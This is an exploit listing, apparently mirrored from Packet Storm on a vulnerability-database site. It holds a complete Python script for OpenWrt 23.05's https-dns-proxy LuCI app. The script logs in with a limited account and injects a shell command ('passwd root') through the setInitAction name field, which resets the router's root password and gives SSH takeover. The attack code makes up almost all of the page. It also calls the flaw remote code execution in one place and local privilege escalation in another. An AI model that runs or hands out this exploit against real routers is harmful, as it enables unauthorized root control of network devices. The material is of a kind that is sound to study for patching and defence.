Lucene search
K

πŸ“„ OpenWrt 23.05 Remote Code Execution

πŸ—“οΈΒ 05 May 2026Β 00:00:00Reported byΒ Ahmet MersinTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 29Β Views

OpenWrt 23.05 authenticated remote code execution via command injection in https-dns-proxy.

Code
# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-01-17
    # Exploit Author: Ahmet Mersin
    # Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy
    # Software Link: https://github.com/stangri/luci-app-https-dns-proxy
    # Version: All versions prior to 2026-01-17
    # Tested on: OpenWrt 23.05
    # CVE : Pending
    
    """
    OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
    CVE-202X-XXXXX - Local Privilege Escalation via Command Injection
    
    
    import requests
    import sys
    import getpass
    
    def banner():
        print("""
    ╔═══════════════════════════════════════════════════════════════╗
    β•‘   OpenWrt https-dns-proxy Root Takeover Exploit               β•‘
    β•‘   CVE-202X-XXXXX | Privilege Escalation via Command Injection β•‘
    β•‘                                                               β•‘
    β•‘   Developed by: ahmetmersin.com                               β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
        """)
    
    def get_user_input():
        print("[*] Target Router Information:")
        target_ip = input("    Router IP [192.168.1.1]: ").strip() or "192.168.1.1"
        
        print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
        username = input("    Username: ").strip()
        if not username:
            print("[-] Username cannot be empty!")
            sys.exit(1)
        password = getpass.getpass("    Password: ")
        if not password:
            print("[-] Password cannot be empty!")
            sys.exit(1)
        
        print("\n[*] New Root Password:")
        new_root_pass = getpass.getpass("    Enter new root password: ")
        if not new_root_pass:
            print("[-] Password cannot be empty!")
            sys.exit(1)
        
        confirm_pass = getpass.getpass("    Confirm new root password: ")
        
        if new_root_pass != confirm_pass:
            print("\n[-] Passwords do not match!")
            sys.exit(1)
        
        return target_ip, username, password, new_root_pass
    
    def login(target_ip, username, password):
        print(f"\n[*] Authenticating as '{username}'...")
        endpoint = f"http://{target_ip}/ubus"
        
        payload = {
            "jsonrpc": "2.0", "id": 1, "method": "call",
            "params": [
                "00000000000000000000000000000000", 
                "session", "login", 
                {"username": username, "password": password}
            ]
        }
        
        try:
            r = requests.post(endpoint, json=payload, timeout=10)
            response = r.json()
            
            if "result" in response and response["result"] and len(response["result"]) > 1:
                result = response["result"][1]
                if "ubus_rpc_session" in result:
                    token = result["ubus_rpc_session"]
                    print(f"[+] Login successful! Session token: {token[:16]}...")
                    
                    # Check if user has the vulnerable permission
                    acls = result.get("acls", {}).get("ubus", {})
                    if "luci.https-dns-proxy" in acls:
                        if "setInitAction" in acls["luci.https-dns-proxy"]:
                            print(f"[+] User has access to vulnerable function!")
                            return token, endpoint
                    
                    print("[-] User does not have 'setInitAction' permission!")
                    return None, None
            
            print(f"[-] Login failed: {response}")
            return None, None
            
        except requests.exceptions.ConnectionError:
            print(f"[-] Connection error: Cannot reach {target_ip}")
            return None, None
        except Exception as e:
            print(f"[-] Error: {e}")
            return None, None
    
    def change_root_password(endpoint, session_id, new_password):
        print(f"\n[*] Changing root password...")
        
        # Payload: Use passwd with printf to change root password
        malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >"
        
        payload = {
            "jsonrpc": "2.0", "id": 666, "method": "call",
            "params": [
                session_id,
                "luci.https-dns-proxy",
                "setInitAction",
                {"name": malicious_name, "action": "start"}
            ]
        }
        
        try:
            r = requests.post(endpoint, json=payload, timeout=10)
            response = r.json()
            
            print(f"[*] Response: {response}")
            
            # Check if result is True (command executed successfully)
            if "result" in response and len(response["result"]) > 1:
                result_data = response["result"][1]
                if isinstance(result_data, dict) and result_data.get("result") == True:
                    print(f"\n" + "="*60)
                    print(f"[+] EXPLOIT SUCCESSFUL!")
                    print(f"="*60)
                    ip = endpoint.split('//')[1].split('/')[0]
                    print(f"\n[*] You can now login with the new root password:")
                    print(f"    ssh root@{ip}")
                    print(f"    Password: <your new password>")
                    return True
                else:
                    print(f"\n" + "="*60)
                    print(f"[-] EXPLOIT FAILED - Command was blocked!")
                    print(f"="*60)
                    print(f"\n[!] The target may have been patched.")
                    return False
            else:
                print(f"[-] Unexpected response format")
                return False
                
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def main():
        banner()
        
        print("[!] WARNING: This tool is for authorized security testing only!")
        print("[!] Unauthorized access to computer systems is illegal.\n")
        
        confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
        if confirm != 'y':
            print("Aborted.")
            sys.exit(0)
        
        target_ip, username, password, new_root_pass = get_user_input()
        
        session_id, endpoint = login(target_ip, username, password)
        
        if session_id:
            success = change_root_password(endpoint, session_id, new_root_pass)
            if success:
                print("\n[+] Exploit completed! Test SSH access with the new password.")
        else:
            print("\n[-] Authentication failed. Exploit aborted.")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation